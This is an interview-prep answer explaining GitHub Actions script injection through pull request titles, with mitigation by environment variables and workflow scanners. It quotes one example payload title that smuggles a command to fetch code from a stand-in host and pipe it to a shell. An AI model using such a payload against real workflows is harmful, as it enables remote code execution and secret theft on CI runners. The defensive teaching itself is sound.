Interview Prep/CI/CD/GitHub Actions

A workflow step uses `${{ github.event.pull_request.title }}` inside a `run:` script. Is that a problem?

AdvancedScenarioGitHub Actions
Answer

Situation read → Script injection.

What I'd do →

  1. Never put untrusted context values (titles, branch names, issue bodies) directly into run; they are expanded before the shell runs.
  2. Pass them as env vars: env: TITLE: ${{ github.event.pull_request.title }} and use "$TITLE" in the script.
  3. Scan workflows with zizmor or CodeQL's Actions queries.

Why → A title like "; curl evil | sh # becomes executable code.

Interview tip → "Context goes through env, never inline."

All CI/CD questions

More on GitHub Actions